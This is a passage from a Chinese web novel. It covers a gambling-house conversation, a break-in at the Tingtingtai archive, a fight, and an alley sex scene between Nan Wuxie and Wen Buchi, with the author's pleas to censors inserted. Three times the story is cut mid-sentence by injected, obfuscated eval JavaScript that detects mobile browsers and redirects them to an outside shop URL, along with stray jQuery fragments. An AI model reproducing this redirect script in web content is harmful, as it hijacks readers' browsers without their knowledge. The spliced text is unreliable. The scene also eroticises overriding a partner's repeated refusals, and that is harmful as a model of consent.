南无歇举杯,与他碰了碰,“薛二公子常来?”
薛淑玉没接话,只把骰子推过去:“玩两把?”
南无歇挑眉,拿起骰子掂了掂:“我赌技不行,南家可不像你们薛家殷实,输不起。”
“输了我不要你的。”
南无歇低笑一声,“那就……玩两把?”
第一把南无歇掷了个“五”,薛淑玉开了个“六”,他笑着推过去一锭银子,“手气果然差。”
随后又一连输了好几把,他将所有银子推了过去,摇摇头笑道:“就说我赌技不行了。”
“喝酒喝酒。”薛淑玉撇下骰盅,“不玩了,陪我喝酒。”
南无歇也不推辞,端起酒杯一饮而尽,烧刀子不算什么好酒,很是烈,入喉的时候像火烧,他咳了两声,脸颊真的泛起红,像是不胜酒力。
“南兄这酒量,倒是配不上名声。”薛淑玉打趣道。
南兄??这大靖之内还没人这么叫南无歇呢。
“听闻南兄从前在边关千杯不醉,怎的今日如此不胜酒力?嗯?”
南无歇又倒了杯,却没立刻喝,只百无聊赖地摇晃着酒杯,溅出了一小圈酒液。
“沙场喝酒是为了暖身子,这儿喝酒是为了寻醉,不一样。”
他这话逗得旁边几个酒客都笑了,薛淑玉却没笑,只看着他被酒气熏红的眼尾:“南兄在边关,除了打仗还做什么?”
“晒太阳。”南无歇说得坦然,“边关的太阳烈,晒得人骨头缝都暖,不过这九关事儿多,东西南北的我都得操着心,晒太阳的机会也少,净为银子和粮草发愁了。”
他仰头一饮而尽,“听说这座贺家的赌场,一半的利要给嵇家?”
“是啊,”薛淑玉浑不在意,“这又如何?京城里的生意都这样儿,一家吃不下。”
“我还听说,薛家在北境的商路比朝廷的还快。”南无歇眼神直勾勾,“北边的粮草,或许能更快些?”
薛淑玉闻言定了一下,随后抬眼,正对上南无歇的目光,那双眼睛没有半分醉意。
南无歇之所以如此单刀直入,就是因为他打心底里觉得,薛淑玉是疯的,却不是阴的,更不是蠢的,再加上那人的性格,南无歇确是不反感。
“南侯爷想合作?”薛淑玉笑了,“用什么合作?”
南无歇放下酒杯,直接了当,“我不喜欢贺醒,也不喜欢嵇舟,薛二公子若也想让薛家在京里更上一层楼,我们或许能成为朋友。”
“朋友?”薛淑玉低笑,“南侯爷的朋友,怕是不好当吧?”
“也没那么不好当,”南无歇也笑了,“也分人。”
薛淑玉试探得明显,南无歇字字句句都答得坦率,但要真说起来,这南无歇也不算实在,他查薛家、查贺家,可从来不只是为了那点合作的利,他更想知道京城里的钱,到底聚在谁手里。
当然,边关的将士们需要钱和粮也是真的。
“侯爷手下的兵若想要钱,大可跟朝廷开口,”薛淑玉的语气淡了些,“何必这么麻烦?”
“人家的钱哪有自己的花着舒心,”南无歇忽然凑近,“何况,我想要的,未必是人家肯给的。”
这话太敏感,尤其对于他南无歇这个身份。
薛淑玉看着这人的眼睛,突然想起哥哥说的话:南无歇是把双刃剑,用好了能劈开贺家的路。
两人没再扯这个话题,酒过三巡,南无歇的话多了起来,东拉西扯,薛淑玉也乐得陪他耗着,偶尔插句话,眼底的兴味却越来越浓。
两人一杯接一杯地喝,话题从北境的风沙聊到京里的花灯,从战马的性子说到养鹰的诀窍,偏偏绕开了所有要紧事,南无歇偶尔还会因为薛淑玉说的笑话拍着桌子笑,像个真的喝多了的莽夫。
直到三更天,楼下的赌客散了大半,南无歇才摇摇晃晃地站起来,手撑着桌子才没摔倒:“不……不喝了,再喝就走不动了。”
他的脸颊红得厉害,眼神也有些发直,连斗篷的带子都系错了。
薛淑玉看着他这副样子,忽然觉得有趣:“真醉了?”
“没……没有。”南无歇摆了摆手,脚下却打了个趔趄,“我酒量好着呢……”
话没说完,胃里忽然一阵翻涌,他捂住嘴,转身就往外跑,斗篷的一角扫过桌沿,带倒了空酒坛,发出“哐当”一声响。
薛淑玉看着他踉跄的背影,端着酒杯的手顿了顿,薛府的小厮凑过来问:“公子,要派人送送吗?”
“不用。”薛淑玉摇摇头,“他没醉。”
没醉,却装醉,那就说明对方一会有别的安排不想被打扰,薛淑玉是个“可心人”,既然那人不想被打扰,他便不去打扰就是。
夜风像刀子似的刮过巷口,卷着雪粒子打得脸生疼,南无歇扶着冰冷的砖墙,胃里的酒气混着酸水猛地往上涌,他弯着腰,“哇”地吐了出来。
烧刀子的烈气呛得他眼泪直流,喉咙里又辣又疼,他咳了好一阵才缓过劲来,随后用袖子胡乱擦了擦嘴。
巷子里静得很,他望着地上那滩狼藉,忽然低笑一声,演了半宿的醉鬼,倒是把自己真给呛着了。
他直起身,刚想往谛听台衙门走,忽然顿住了脚步,胃里的翻腾还没平息,后脑勺就开始隐隐有些发沉。
“妈的…这破烧刀子,还真他娘的烈…”
***
次日深夜,月色如霜,泼在谛听台的青瓦上,泛着冷光。
南无歇一身夜行服,蒙着黑布只露双眼,像道影子般贴在谛听台后墙的阴影里。
谛听台是温不迟的地盘,防卫比李昇的寝宫还严密。
南无歇却像走自家后院似的,手指在墙缝里摸索片刻,找到块松动的砖,轻轻一按,“咔哒”一声轻响,墙面上露出个仅容一人通过的暗门。
他猫腰钻进去,里面漆黑一片,弥漫着尘土与铁锈的味道,脚下的石板凹凸不平,每走三步就得避开地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526723|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的翻板,头顶不时有细针落下,需得侧耳听着风声才能预判躲过。
这哪是值房的样子,皇陵的暗器构造也不过如此了吧…
南无歇走得极稳,指关节在石壁上轻敲,凭着回声判断机关的位置。
又走了几步,刚转过一道弯,迎面忽然射出一排弩箭!
他足尖一点,身形如纸鸢般往后飘,同时反手甩出三枚石子,精准地打在弩箭的机括上。
“咔咔”几声,弩箭应声哑火。
再往前,是条窄窄的甬道,地面铺的砖却有一半是松动的,他盯着松动石砖的纹路看了片刻,忽然想起温不迟书房里那幅《山河图》。
他思忖片刻,凭记忆踩着画中的“水纹”的空白处往前走,每一步都分毫不差。
脚下的石板偶尔震动,却始终没触发机关。
一刻钟后,他终于摸到卷宗阁的木门,可让人奇怪的是阁门竟连个锁都没上,本该挂锁的梁环竟是空的!
他的手顿了顿,感觉不对劲。
甬道机关尚且如此复杂精密,这最终的卷宗阁却锁都不锁,这绝对有问题。
可来都来了,他思忖片刻,最终还是伸手推开了门。
阁里弥漫着墨香与樟木的味道,一排排书架顶天立地,上面摆满了卷宗,标签上写着各大家族的名号。
南无歇摸着黑走到标着“商路”的区域,手指划过书脊,很快就找到了那本《京城商脉图》。
书页里夹着张羊皮卷,上面标注着贺家和薛家的“资产”,还有几家隐秘钱庄的位置,密密麻麻,像张织满了银线的网。
南无歇将羊皮卷揣进怀里,勾了勾唇角,转身便朝阁外走去。
原路返回时他贴着石壁滑行,动作利落得像抹掠影。甬道尽头的暗门被推开,带起一阵尘土,他闪身进入后院,月光恰好从云层里钻出来,照亮了他的眼睛,也照亮了墙角那丛半枯的梅。
夜更静了,只有风吹过梅枝的呜咽声,他放轻脚步,朝着后门的方向走。
就在距离那扇门只剩有不到五步时,阴影里忽然传来一声轻响,像有人踩断了枯枝。
南无歇的脚步顿住,周身的气息瞬间绷紧,他没回头,只用眼角的余光扫向右侧,那片被假山挡住的阴影里,不知何时站了个人。
那人缓缓走出来,踩过地面的落叶,发出细碎的声响,月光一点点爬上他的脸,先是勾勒出挺直的鼻梁,再是抿紧的唇线,最后是那双诱人的桃花眼。
温不迟彻底走出黑暗,站定,南无歇没动,也没开口说话,面罩遮住了他大半张脸,只露出双眼睛,在月光下泛着光。
二人对视片刻,温不迟忽然笑了,那笑意从唇角漫到眼底,“南侯爷深夜造访下官的谛听台,倒像是回自己家似的。”
他的声音不高,却清晰地穿透夜风,语气里没有惊慌,没有怒意,反倒像早就在此等候,连语气都带着“等你好久了”的了然。
“温大人倒是清闲,大半夜的在自家值房门口……赏月呢这是?”南无歇声音透过面罩,显得有些沉闷。
“比起侯爷潜入谛听台偷东西,下官这点清闲算不得什么。”温不迟的青衫在月光下泛着柔和的光,与他眼底的冷傲形成奇异的反差,“卷宗阁的机关,侯爷闯得如此顺手,看来是做足了功课。”
开口间那抹青影丝毫未动,只持着冷淡的语气和孤傲的眼神,将这些看似问罪的冷嘲热讽轻飘飘的全部掷向南无歇。
南无歇看着温不迟半明半暗的面庞,心上忽然像是爬上了几只小蚂蚁,痒痒的,他没接话,只微微侧身做好了准备。
果然,温不迟的手忽然动了!屈指轻弹,一枚铜钱带着破空的锐响,直取南无歇的面门!
南无歇偏头避开,铜钱“笃”地钉在身后的梅树干上!入木三分。
16. 压制
温不迟上来就是一掌!
掌风直逼南无歇的胸口,招式刚猛如惊雷,带着股要将在对方那里丢失的一切都讨回来的架势。
南无歇可太喜欢跟温不迟打架了,那人招招狠戾,全然是奔着取命而来,可二人也都清楚这悬殊的武力差距,南无歇痴迷的正是这种将对方所有挣扎一一瓦解,最终彻底驯服的过程。
这是一种专制的占有,一场极致掌控的征服。
南无歇借着旋身的势头,手臂若有似无地擦过那人的胸膛,引得温不迟的招式顿了半分。
“分心了?”南无歇低笑一声,肩头往前一撞,正在温不迟的胸口。
随后,拳脚相击的闷响在空荡的后院炸开。
南无歇故意借着动作,在二人身体接触间吃着那人的豆腐。温不迟气恼,身法则更显灵动,像条滑溜的鱼,总能从对方的攻势里钻空子。
缠斗间,南无歇故意卖了个破绽,左肩微沉,温不迟果然趁机欺近,手肘直顶他的颈窝,却在触到衣料的瞬间察觉不对,猛地收力后退。
“温大人倒是谨慎多了。”说着,南无歇同时伸手想去抓他。
温不迟后仰避开,点地跃起,从袖中摸出柄短刃,刃身极薄,在月光下几乎看不见。
他陡然冷了,带着被戏耍的怒意,招式愈发凌厉。
南无歇拳风扫过梅枝,带落的黄叶恰好落在温不迟的肩头,他伸手想去拂,却被对方挥开,短刃已然出鞘,薄如蝉翼的刃身映着月光。
“侯爷偷了下官的东西,总得留点什么下来。”
话音落地,短刃便划向南无歇的手腕,带着破釜沉舟决然。
南无歇眼底闪过一丝光。
太对了!这才是温不迟!一只咬住了敌人便再也不松口的豹子!
拳掌交加,胸肩相碰,温不迟的手中刃丝毫不留情面的直取南无歇狗命。
但南无歇却也不怕,招招相迎。
绞缠厮杀间,只见南无歇正拳直出向温不迟,带着风声,可就在二人身形交错时,他咧嘴一笑,轻飘飘地在人耳边吹了一口气,随后顺势闪身至人身后。
温热的气息拂过耳廓,温不迟浑身一僵,短刃瞬间偏了方向,就这刹那的失神,南无歇已扣住他的手腕,反手将他按在假山上。
温不迟猛地挣动,用肩头撞向他的下巴,力道很大,南无歇也破天荒的识相地立即松了手,眼底的戏谑都快流了出来:“下次温大人想打架不如约在榻上,在这里你打不过我的。”
温不迟闻言羞恼,眸色一沉,抬腿便踢,直冲南无歇的胸膛。
南无歇微微一侧身,抬手便握住那人的脚踝,掌心顺着温不迟的小腿往上滑了半寸,随后刻意用力握了握。
温不迟刚想说点什么,南无歇就钳着他的腿往身前一拉,温不迟飞身旋起,挣脱开骚扰自己的那只手。
短刃与掌风交错,青衫与夜行服纠缠,带起的气流吹得地上的落叶打着旋儿飞,月光在两人身上流转,南无歇沉浸于温不迟在他压制下爆发式的抵抗,这看似凶险的过招于他而言,不过是场“醉翁之意不在酒”的撩拨游戏,那人的愤慨恰是他征服欲的最佳佐料。
就在南无歇单方面沉浸于与温不迟的暧昧缠斗,借肢体的每一次碰撞狎昵游走,而后者正因这戏弄羞愤交加杀招尽出之际,前院骤然一声厉喝,撕裂了二人之间这耳鬓厮磨的拉扯。
“谁在后面?!”
谛听台守卫的声音划破裹着拳风的月色,带着甲胄碰撞的脆响,听声音正往这边赶来。
南无歇的注意力瞬间散了半分,他本想悄无声息地带走卷宗,没必要惊动太多人。
然而就这片刻的迟滞,温不迟已抓住破绽。
青影一闪,温不迟欺近身,拳头带着凝聚的力道,狠狠砸在南无歇的胸上!
“呃!”
南无歇只觉一股锐痛顺着身躯蔓延开,呼吸骤然一窒,身体不受控制地向后倒去。
一个庞然大物砸在地上,尘土微扬。
温不迟微微侧对着他,胸口轻微起伏,后方头顶的月光将他周身融上一层薄薄的银辉,他没继续动手,只居高临下地垂眸看着地上的人。
前院的脚步声越来越近,“谁在那?快报上名来!”
温不迟微微眯起眼睛挑了挑眉,那双眼眸里此刻尽是薄情和倨傲。
南无歇喘着粗气,看着温不迟正垂眸睥睨着自己,忽然觉得胸一点也不疼了,眼里渐渐浮现兴奋的光。
随后,只见温不迟缓缓抬起脚,轻轻落下,稳稳踩在南无歇的胸口上,力道不重,却带着绝对的掌控力。
“谁在那里?!”守卫的声音更近了,火把的光已晃到了院门口,“说话!”
就在守卫即将要推门而入时,温不迟才冷声开口,那声音就像是在冰河里泡了上万年的玉石,又冷又硬,却清透迷人。
“无妨,”他语调平缓,目光始终在南无歇脸上,“一条野犬罢了。”
南无歇被踩住的胸口随着呼吸微微起伏,他看着温不迟高高在上的模样,看着那人故作轻飘飘的压了他一头,看着那人用最冷静凉薄的神态展现自己的压制,胸腔的起伏不由得变了节奏。
温不迟身上这股又硬又野的劲儿他可太吃了!他兴奋得呼吸加快!他兴奋得心里想有一团火在燃烧!
守卫们听到自家大人的声音便放下了心,随后恭敬离去。
院门口的脚步声渐渐远去,温不迟似乎察觉到南无歇灼热的目光,脚下微微加重了力道。
南无歇却只是眨了眨眼,眼睛亮得像落了星光,透着满足和纵容,随后咧开嘴角。
后院重归寂静,只有两人的呼吸声在静谧中交织,一个急促,一个平稳,温不迟的脚还踩在南无歇胸口,他当然知道南无歇要偷什么,那商脉图上,贺家的赌坊与嵇家的官员任免勾连得密密麻麻,每一笔银钱往来都浸着脏水。
南无歇若是出手,倒省了他不少功夫。
两人的目光在月光下撞在一起,无声地交换了几个来回。
良久,温不迟终于缓缓抬起脚,撤回了那点压迫感。
南无歇一骨碌爬起来,拍了拍衣襟上的尘土,胸口的钝痛还在,但心里是一万个开心。
他脸上的笑意却更浓了,就那样歪着头看温不迟,眼里的满足几乎要溢出来。
温不迟转过身,背对着他整理衣袖,刚才那一眼里的纵容像根羽毛,轻轻搔过心尖,让他莫名有些烦躁。
月光在他们之间拉出一道无形的线,一端系着未熄的战意,一端缠着说不清道不明的默契。
“温大人脚上的功夫……真不错。”
热气拂过耳廓,语调像带着钩子,勾得温不迟的拳头猛地攥紧。
他没回头,只听见身后传来布料摩擦的轻响,再转头时,柴门已经半掩,身影早已消失在夜色里,只留下一缕若有似无的檀香,混着雪气,在空气里弥漫。
***
等温不迟处理完谛听台的狼藉时月色已斜斜挂在西天,他换了身干净的青白狐裘走出衙门大门,并未乘轿,他打算抄近路走回府。
刚拐进那条僻静的小巷,就见南无歇靠在巷口的树下,夜行服已换成墨色锦袍,月光落在他肩上,像落了层薄雪。
温不迟的脚步顿住,两人隔着半条巷对视,空气里仿佛又响起了拳脚相接的闷响。
南无歇笑着朝他缓步走来,那笑意在温不迟眼里十分刺眼,像猫见了爪下的鼠,绝对压制性地打量着。
温不迟的警惕瞬间拉满,手腕一翻,藏在袖中的短刃再一次滑入掌心。
“温大人这是还没打够?”南无歇的声音里带着笑意,脚步却没停。
话音未
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16526724|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落,温不迟已动了!
他不喜欢这人的从容,不喜欢他的步步紧逼,更不喜欢自己在这人面前总是被压制。
南无歇却像早料到此,侧身避开锋刃,没外界因素掺合,不过三招两式他就把温不迟牢牢箍在怀里,任其怎么挣扎都纹丝不动。
他将怀里的人往墙壁一压,唇畔贴近对方的耳廓,语调蛊惑得像情人间的私语。
“方才那一脚,温大人踩得可还爽?”
气息滑过,又热又痒,可温不迟依旧持着倨傲的态度,丝毫说不了软话,哪怕被按住了也依旧是只会龇牙的豹子。
他微微抬头,喘着粗气侧目身后之人,眼底一片轻蔑与冷傲。
“自然是爽的,毕竟这世间能踩侯爷胸口的人,怕是没几个。”
南无歇低笑起来,胸腔的震动弄得温不迟后颈一阵发麻。
“爽就好,我也挺爽的,方才爽,现在爽……”
他顿了顿,故意在温不迟的腰侧轻轻捏了一下。
“等下,会更爽。”
温不迟后颈的汗毛瞬间竖了起来,他太知道南无歇说的“更爽”是什么意思,那日在南侯府里的那种屈辱又失控的感觉,瞬间再次涌上心头。
他猛地挣扎起来,声音里终于带了点慌乱:“南无歇,你放开!”
南无歇却抱得更紧了,下巴轻轻搁在他的肩窝,“别闹。”
巷口的月光忽然变得有些烫人,风也停了,剩下两人交缠的呼吸声,粗重得像要把夜色烧开个洞。
南无歇向来不会让自己欲求不满,更不会败自己的雅兴,他不由分说地将人转过身来,带着欲将人吞噬的力道碾过温不迟的唇。
温不迟甚至还没反应过来,激烈的偏头去躲,却被那人掼着下颌转回来,只能被迫承受这带着目的性极强的吻,齿间都是对方身上的檀香混着雪夜的清冽。
“放、放开……”
温不迟的声音闷在唇齿间,带着破碎的怒意,那人的手臂却始终圈着他的腰,屠城似的将他按在墙面上。
后背一片冰凉,身前却抵着滚烫的胸膛,冰火两重天的滋味让他浑身发颤。
南无歇根本不给缓气的机会,他的吻顺着温不迟唇角滑到颈侧,在那片细腻的皮肤上啃咬出红痕。
“温大人方才踩得那么尽兴,现在就想跑?这不太合适吧?”
他的手探进温不迟的衣襟,轻轻滑过皮肤,引得对方一阵瑟缩。
“你混蛋……”
温不迟的骂声气的发颤,他感觉自己就像只被剥了壳的虾,暴露在对方的目光里,连挣扎都显得徒劳。
“是啊,我是混蛋,”南无歇轻咬着他的耳垂,“我就是混蛋。”
他的手猛地收紧,将温不迟抱得更紧,两人的身体贴得没有一丝缝隙,温不迟浑身都绷紧了,动弹不得,只能任由对方的吻一路往下,烧得他骨头都软了。
“这里不行…”他不肯哀求,语气仍旧是冰冷的命令式,但尾音却已经微微飘了,“不能在这。”
“就是在这里才有趣。”南无歇解开他的系带,狐裘滑落肩头,“在这里……说不定还能有人撞见——”
“你敢!”这话刺得温不迟猛地抬头打断,眼底又燃起怒火。
“我有什么不敢的。”南无歇笑得更野了,忽然将人扛上肩头,往巷子更深处走去,那里堆着些废弃的柴草,勉强能挡住些声响。
温不迟的惊呼被堵在了喉咙里,死死攥着南无歇的腰带,任由那人将他按在干草堆里。
随后,吻密密麻麻地落下来,像要把他吞进肚子里。
南无歇说要换个宽敞一些的地方,可这天大地大的室外,对于温不迟来说,真的是最糟糕的地方。
“南无歇……”他的声音碎在风里,一半是怒,一半是自己都不愿承认的无能,“你…你混蛋……”
17. 疏狂
巷子深处的柴草堆被压出凹痕,温不迟的青裘被揉得皱巴巴的,半边肩膀露在冷空气中,喉间溢出的气音被南无歇吻得七零八落。
“别咬……”他偏头躲开颈侧的啃咬,语气带点破碎,“会有印记。”
南无歇或许有一个土匪梦吧,对方越是不要他就越是想要。
“有印记才好,”他抬手扯开自己的外袍,披在温不迟露着的肩上,掌心却顺着衣料滑下去,停在那人的腰间,轻轻一按,逼出一声(口耑)
“让京城的人都知道,温大人原是这个样子的。”
温不迟的脸“腾”的气红了,又羞又怒,抬膝想去抵住南无歇的身子,却被南无歇握住脚踝,架在了肩上。
冰冷的夜风顺着缝隙钻进来,温不迟瑟缩了一下,却被更滚烫的体温裹住,连挣扎的力气都仿佛被抽干了。
“滚…你滚……”
这骂声落在南无歇耳里反倒成了最最勾人的饵,他吻去温不迟眼角的湿意,手掌拂过那人的侧脸,动作忽然放轻了些。
二人目光相撞,南无歇一时间看晃了神,像是被这人眼底的水光吸了进去,忽然整个世界全然消失了,半分都不剩下,满心满眼只剩下那人的一双桃花眼。
须臾,他鬼使神差地罕见温柔认真道:“温不迟,你真好看。”
“滚——”
还没骂完,南无歇就低头碾磨上温不迟的唇瓣,那架势像是要将整个人塞入腹中,急迫、决绝、无法克制地想要得到。
他起初对温不迟的心思与其说是想要“拥有”,不如说是想要“占有”,因为那是李昇的人,是帝王的人,可此时此刻,他只想要拥有这双眼睛,就在此刻。
可于他而言,任何东西都是需要靠硬实力争抢来,儿时的自由、地缘的领土、手握的权利。
也包括人。
这也是为何相较于双方共识能够达成同针锋相对一样的结果时,他仍然偏向于后者,因为针锋相对所决出的高下才更能体现出“硬实力”。
于是,他骨子里蓬勃的征服欲逐渐悄无声息的渗透到了他的方方面面。
少顷,南无歇稍稍离开了温不迟的唇,继而便是黏黏糊糊的蹭吻和厮磨下的轻啄。
“反抗我,或者……请求我。”
反抗无用,求又求不出口,温不迟别过脸不看他,身上的热度像要烧穿皮肉,顺着血脉往骨子里钻,一寸寸瓦解他的防线。
南无歇勾上温不迟的腰带,轻轻一扯,刚一松散便被那人握住了手。
“别……”温不迟的声音终于带着点妥协,“太冷了……”
南无歇低笑一声,将他抱得更紧,外袍彻底裹住两人,隔绝了风雪,随后滚烫的轻吮便落在了温不迟的颈侧,又痒又烫,一阵酥麻。
“忍一忍,等会儿就不冷了。”
温不迟闭了闭眼,任其探索自己的领域。
不知多久,南无歇终于半直起身子,温不迟也抬眸看他,手上还揪着那人的衣襟。
巷口的月光漏进一丝,恰好照在温不迟泛红的眼尾,那点水光恍得南无歇急不可耐。
“你…”温不迟的声音碎在喉咙里,带着点气音,却不是全然的抗拒。
南无歇吻了吻他的唇角,掌心轻轻抚摸着他的头顶,像在安抚一只受惊的幼猫。
“放松,不会有事的,一会就好。”
(此处删减121个字)
巷子里的呼吸越来越重,温不迟的挣扎渐渐弱了下去,偶尔溢出的气音被夜风剪碎,又被南无歇的吻温柔地接住。
南无歇腰腹绷紧,投入得彻底,吻顺着颈线往下,落在那片喘/息起伏的胸口。
(愿以吾辈之青春,捍卫盛世之中华,希望我敬爱的祖国繁荣昌盛,希望我华夏儿女百无禁忌,希望尊贵的审核大人日日顺心。别锁我了,拜托拜托~)
“南…南无歇……”温不迟的声音里多了点别的东西,说不清是怒是怨,还是别的什么,像根细弦,被拨得嗡嗡作响。
“嗯?”南无歇气都喘不顺地应着。
温不迟抬手,抵住了南无歇的肩膀,“帮。。我料理了。。料理了嵇家,我、我要他们失势…”
“好…”南无歇用着力,笑着欣赏他,“…还要什么?”
(还要拥护我们的祖国!作为共产主义接班人,我们一定要坚定立场!爱国爱同胞!自立自强!当然我们也要爱晋江文学城!要爱我们的审核大人!审核大人辛苦了,一定要记得好好吃饭,好好睡觉~)
温不迟气(口耑)得也并不是很顺畅,他突然攥住南无歇头发,紧了些,又紧了些。
“要你的人头!我要你的人头!”
看着眼下之人的气急败坏和无能为力、享受又不享受的样子,南无歇瞬间发了疯的燥热,他兴奋得笑容更深。
“好…”他粗/喘着吻了下去,“我给。”
(此处删减77个字)
温不迟的呼吸越来越乱,他死死捂住自己的嘴,指缝里漏出的呜咽都带着颤,生怕那点失控的声响会漫出这巷子。
南无歇垂眸看着他这副隐忍的模样,温柔诱哄道:“没事的,这么晚了,谁会来?”
说着,他直起身子,唇角微翘,握住温不迟的手腕从嘴上拿开,随即将那人的手放到自己半敞的(月匈)(月堂)上,缓缓往下带着。
(审核大人求你了求你了,别锁我了,真的没得改了呜呜呜。我会认真码字,保持稳定更新,矜矜业业坚持为读者呈现故事!我会坚定理想信念,主动践行社会主义核心价值观,一如既往坚持为祖国做贡献!)
温不迟能感受到他紧实的肌肉轮廓,以及滚烫的肌肤温度,如此寒冷的环境,那人皮肤上已然覆上了一层薄汗,可见方才绝没收力忙活。
温不迟猛地偏头,躲开南无歇侵占性极强的目光,另一只手又要捂上来,却被那人牢牢摁在身下的柴草里。
“叫出来,像那天在府里一样……叫给我听。”
(我将坚决拥护“新时代坚持和发展中国特色社会主义的基本方略”与“□□文化思想”!坚定、坚持二为方向、双百方针以及两创方针!伟大!光荣!我党万岁!)
他说着,还恶劣一用力,嘴角的弧度既诱又邪,眼睛亮得直逼高悬的月亮。
“唔——”
一声压抑的轻吟没忍住,从温不迟唇缝溢出来,像颗石子投进静水里,荡得他的脸瞬间爆红。
他努力的想瞪向南无歇,却因着一浪接一浪的(我爱你中国)力(我爱你晋江)道实在无法对焦,眼底的水光混着怒火,声音从齿缝里挤出来,又狠又急:
“我要你的人头…我要你的人头!!”
这话本是恶毒的利刃,在南无歇这里却是最烈的酒,瞬间点燃了他眼底的火。
“好好好。”他低笑着连说了三个好,每个字都裹着满足的纵容。
随后,他俯身咬住温不迟的唇,力道又重了几分,“等你有力气了,尽管来取。”
看着温不迟气得发抖又动弹不得的样子,看着那双失焦的桃花眼里又怒又慌的光,南无歇只觉得浑身的燥热都找到了出口,连呼吸都带着兴奋的喟叹。
这只令百官肝颤的会咬人爱炸毛的小豹子,此刻被他牢牢按在了掌心里。
风又起,那偶尔泄出的带着怒意的细碎声响,在寂静的夜里,格外撩人。
风雪不知何时停了,只剩下月光漫过柴草堆,在两人交缠的身影上投下一片模糊的暖。
***
腊月的风跟刀子似的刮着脸,京城刚下了场大雪,大街上一片白,踩上去咯吱响。
南无歇揣着手走在前头,步子慢悠悠的,崔始颉裹着件厚狐裘跟在后头,嘴里不停歇地念叨。
“永辞哥,你看那家糖人摊,上次我买了个猴子的,结果画的一点儿也不像。”崔始颉指着街角,鼻头冻得粉红。
南无歇懒散地“嗯”了一声,目光扫过旁边的布铺,随后他顺着崔始颉的话头接:“想吃?去买一个。”
“不用不用,”崔始颉摆摆手,又凑过来,“吃糖坏牙,对了永辞哥,前头有家扇庄,听说老板是江南来的,扇子做得好,你不是说想装文人吗?”
南无歇挑眉,顺着他指的方向看过去,果然有家不起眼的小店,门楣上写着“扇语”。
“行,去瞧瞧。”
进了扇庄,掌柜的连忙迎上来:“客官看看?都是新到的料子,竹骨檀木的都有。”
南无歇没看掌柜的,目光扫视着满墙的扇子,点了点头。
这扇庄做的很大,什么样式的扇子都有,南无歇一边走一边看,崔始颉跟在身后也眼睛溜圆的看着。
忽然,南无歇在一把素面折扇前顿了顿,掌柜的是个有眼力见儿的,立马道:“这扇子的扇骨打磨得光滑,扇面是生宣,别看摸着糙,但最好写字。”
南无歇依旧是没看他,挑眉道:“就这个。”
付了银子,他拿着扇子摇了摇,崔始颉跟在旁边咋舌:“这破扇子要二十两??都够买一车糖葫芦了…”
“你懂什么,”南无歇买把扇子还真把自己当文人了,他一脸臭屁地用扇子轻轻拍了拍崔始颉后脑勺,“这叫——风、雅。”
俩人接着往前走,崔始颉还在叽叽喳喳说个不停,从兵部的操练说到家里的老黄狗下了崽,南无歇有一搭没一搭地应着,眼睛却没闲着,一路上的商铺的情况,都让他看了个七七八八。
走到西市口,风里忽然飘来脂粉香。
抬眼望去,前头右侧立着栋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16526725|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两层楼,挂着“醉春坊”的牌子,红灯笼晃晃悠悠,门口站着几个穿得单薄的姑娘,正往过路人手里塞花。
“那是什么地方?”崔始颉好奇地探头,“看着怪热闹的。”
那是贺家的产业,谛听台的商路图上标的清楚,这里明着是青楼,暗地里专做官员的生意,消息灵通得很。
南无歇回头看向远远跟着的卫清禾,扬了扬下巴:“带尧吉去对面买两串糖葫芦,顺便看看那家卖芝麻糕的还开着没,他念叨好几天了。”
“是,侯爷。”卫清禾应了一声,崔始颉却不乐意:“永辞哥你不去吗?”
“我去旁边看看熟人,”南无歇摸了摸他的头,“买完在巷口等我,别乱跑。”
崔始颉虽不情愿,还是被卫清禾拉着走了,走两步还回头瞅了瞅,嘴里嘟囔着“买最大的一串”。
南无歇看着他的背影笑了笑,转身往醉春坊走。
门口的姑娘见人过来,立刻缠上来:“公子这是要去哪呀~这风这么大,吹得人骨头都冷了,不如进来让奴家给您暖一暖?”
南无歇没说话,从袖里摸出块碎银子递过去,姑娘眼睛一亮,连忙挽着他的胳膊引着他往里走。
醉春坊里暖得很,空气里飘着脂粉香,混着酒气和果子的甜,往人鼻子里钻。
一楼大堂中央是个方形的巨大高台,四周只摆着十二张桌子,一边三张,几桌客人搂着姑娘喝酒,划拳声、调笑声撞在楼板上,嗡嗡作响。
二楼的栏杆边倚着几个穿得花哨的姑娘,看见有客人进来,就娇滴滴地招手,银镯子在手腕上晃得人眼晕。
南无歇刚踏进门,一个穿着红袄子的胖妇人就扭着腰迎上来,笑得眼睛眯成条缝:“这位爷看着面生,是头回来?快里面请,暖和暖和!”
